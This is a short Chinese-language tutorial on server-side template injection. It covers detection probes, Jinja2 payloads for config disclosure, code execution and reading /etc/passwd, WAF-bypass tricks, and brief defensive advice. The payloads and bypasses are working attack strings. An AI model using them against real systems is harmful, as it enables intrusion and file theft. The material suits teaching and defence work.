一、什么是SSTI
服务端模板注入(Server-Side Template Injection)是攻击者通过注入模板语法到服务端模板引擎,导致代码执行的漏洞。
二、检测方法
# 基础检测:传入模板表达式看是否解析
{{7*7}} → 如果返回49,说明模板引擎解析了
${7*7} → Java模板引擎
{{7*7}} → Python(Jinja2/Twig)
三、常用Payload
Jinja2 (Python):
{{config}} # 查看配置
{{''.__class__.__mro__[1].__subclasses__()}} # RCE
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} # 文件读取
四、WAF绕过
- 用过滤器绕过: {{"".__class__|attr("__mro__")}}
- URL编码
- 拼接绕过
五、防御
- 不要在模板中直接拼接用户输入
- 使用沙箱渲染
- 限制模板功能